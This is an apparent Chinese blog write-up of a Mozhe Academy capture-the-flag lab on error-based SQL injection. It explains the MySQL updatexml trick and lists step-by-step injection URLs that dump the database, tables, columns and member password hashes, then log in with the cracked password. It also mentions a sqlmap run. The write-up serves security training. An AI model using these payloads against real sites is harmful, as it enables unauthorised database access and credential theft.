墨者学院-SQL注入漏洞测试(报错盲注)

继续攻克SQL注入类题目啦!!!今天的题目环境提示比较明显,也是比较常见的一种SQL注入漏洞类型,继续储备知识,撸起袖子加油干!!!
附上题目链接:https://www.mozhe.cn/bug/detail/Ri9CaDcwWVl3Wi81bDh3Ulp0bGhOUT09bW96aGUmozhe
这道题目发现注入位置的方法与SQL手工注入漏洞(MySQL数据库)这道题目是相同的(放上链接:(52条消息) 墨者学院-SQL手工注入漏洞测试(MySQL数据库)_Start&&Over的博客-CSDN博客),但题目预设的环境不同。处理和解决SQL注入问题,一定要顺境而变。
根据登录表单源代码可以发现潜藏的new_list.php?id=1网页,初看网页的payload,感觉可能会存在注入,于是更改payload中id=1为id=1’进行检测,果然出现了报错提示,这是比较明显的SQL注入题型:报错盲注。本题将运用手动注入(updatexml函数)和sqlmap注入两种方法进行解决。
墨者学院-SQL注入漏洞测试(报错盲注)_第1张图片
墨者学院-SQL注入漏洞测试(报错盲注)_第2张图片
第一种方法:手动注入(updatexml函数)
报错盲注是通过输入特定语句使页面报错,网页中则会输出相关错误信息,从而得到想要的基本信息——数据库名、版本、用户名等。实践中常用Xpath函数中的updatexml和extractvalue函数进行报错显示,本题目以updatexml函数为例,extractvalue函数的使用方法与updatexml相同,就不再重复试验了。
在介绍报错原理之前,先认识一下updatexml函数:
UPDATEXML (XML_document, XPath_string, new_value)主要由三个参数组成。
第一个参数:XML_document是String格式,为XML文档对象的名称;
第二个参数:XPath_string (Xpath格式的字符串),如果不了解Xpath语法,可以在网上查找教程。
第三个参数:new_value,String格式,替换查找到的符合条件的数据
简而言之,updatexml函数的作用就是改变文档中符合条件的节点的值。
报错盲注中常用类似于’ and updatexml(1,concat(0x7e,(select database()),0x7e),3)–+这样的SQL语句进行报错。因为updatexml函数的第二个参数需要Xpath格式的字符串,而以~开头的内容不是xml格式的语法,concat()函数作为字符串连接函数显然也不符合规则,但是会将括号内的执行结果以错误的形式报出,这样就可以实现报错注入。
根据上述理论的描述,依托本题提供的实验环境,进行手动的报错盲注,依次爆破数据库、表、列以及列值。
(1)数据库爆破,发现名为stormgroup的数据库。
payload语句设置:http://124.70.71.251:48149/new_list.php?id=1%27%20and%20updatexml(1,concat(0x7e,(select%20database()),0x7e),3)%20–+
墨者学院-SQL注入漏洞测试(报错盲注)_第3张图片
(2)根据获得的数据库名stormgroup,进行数据库中表的爆破,发现名为member的敏感表。
payload语句设置:http://124.70.71.251:48149/new_list.php?id=1%27%20and%20updatexml(1,concat(0x7e,(select%20table_name%20from%20information_schema.tables%20where%20table_schema=%27stormgroup%27),0x7e),3)%20–+
在这里插入图片描述
报错提示结果不止一行,于是更改payload,运用group_concat()函数,将多个结果用逗号连接并显示。
更改后的payload语句设置:http://124.70.71.251:48149/new_list.php?id=1%27%20and%20updatexml(1,concat(0x7e,(select%20group_concat(table_name)%20from%20information_schema.tables%20where%20table_schema=%27stormgroup%27),0x7e),3)%20–+
在这里插入图片描述
(3)根据爆出的表信息,进行列名爆破爆破,发现名为name和password的敏感列。
payload语句设置:http://124.70.71.251:48149/new_list.php?id=1%27%20and%20updatexml(1,concat(0x7e,(select%20group_concat(column_name)%20from%20information_schema.columns%20where%20table_name=%27member%27),0x7e),3)%20–+
在这里插入图片描述
(4)对敏感列逐一进行列值爆破,发现两组由name和password组成的数据。
name列列值爆破的payload语句设置:http://124.70.71.251:48149/new_list.php?id=1%27%20and%20updatexml(1,concat(0x7e,(select%20group_concat(name)%20from%20member%20limit%200,1),0x7e),3)%20–+
在这里插入图片描述
password列列值爆破的payload语句设置:http://124.70.71.251:48149/new_list.php?id=1%27%20and%20updatexml(1,concat(0x7e,(select%20group_concat(password)%20from%20member%20limit%200,1),0x7e),3)%20–+
在这里插入图片描述
此时发现,显示结果没有~作为后缀,说明结果并未完全显示。根据实践经验,可以大概猜出password的值为MD5加密后的结果,应为32位,而网页只显示出31位。因此,可应用
substr函数
对最后一位结果进行显示。
password列值最后一位爆破的payload语句设置:http://124.70.71.251:48149/new_list.php?id=1%27%20and%20updatexml(1,concat(0x7e,(select%20substr(password,32,1)%20from%20member%20limit%200,1),0x7e),3)%20–+
在这里插入图片描述
由于对name列列值进行爆破时,出现两个名为mozhe的列值,因此password也应该有两个列值,依次对password第二组列值前31位和第32位进行爆破。
password第二组列值前31位爆破的payload语句设置:
http://124.70.71.251:48149/new_list.php?id=1%27%20and%20updatexml(1,concat(0x7e,(select%20password%20from%20member%20limit%201,1),0x7e),3)%20–+
在这里插入图片描述
password第二组列值最后一位爆破的payload语句设置:
http://124.70.71.251:48149/new_list.php?id=1%27%20and%20updatexml(1,concat(0x7e,(select%20substr(password,32,1)%20from%20member%20limit%201,1),0x7e),3)%20–+
在这里插入图片描述
至此,已获得两组数据,将两组的password值进行MD5解密,并尝试登录。
墨者学院-SQL注入漏洞测试(报错盲注)_第4张图片

墨者学院-SQL注入漏洞测试(报错盲注)_第5张图片
以账户名为mozhe,密码为516628进行登录,登录成功,获得key值。
墨者学院-SQL注入漏洞测试(报错盲注)_第6张图片
第二种方法:sqlmap注入
sqlmap注入方法比较简单粗暴,直接运用sqlmap语句进行数据库、表、列以及列值的逐一爆破即可。
(1)数据库的爆破,仍然可以发现名为stormgroup的数据库。
墨者学院-SQL注入漏洞测试(报错盲注)_第7张图片
(2)根据获得的数据库名stormgroup,进行表名的爆破,同样发现名为member的敏感表。
墨者学院-SQL注入漏洞测试(报错盲注)_第8张图片
(3)根据获得的表名member,进行表中列名的爆破,发现名为name和password的列。
墨者学院-SQL注入漏洞测试(报错盲注)_第9张图片
(4)对name列和password列的列值进行爆破,发现两组数据。
墨者学院-SQL注入漏洞测试(报错盲注)_第10张图片
将获得的password值进行MD5解密,并尝试登录。
墨者学院-SQL注入漏洞测试(报错盲注)_第11张图片
墨者学院-SQL注入漏洞测试(报错盲注)_第12张图片
以账户名为mozhe,密码为607717进行登录,登录成功,同样获得key值。
墨者学院-SQL注入漏洞测试(报错盲注)_第13张图片
温馨提示:利用sqlmap工具进行爆破后,要记得对output中的内容进行及时删除,以免影响下一次针对同一IP地址的爆破。

你可能感兴趣的:(CTF,php,web安全,安全,mysql)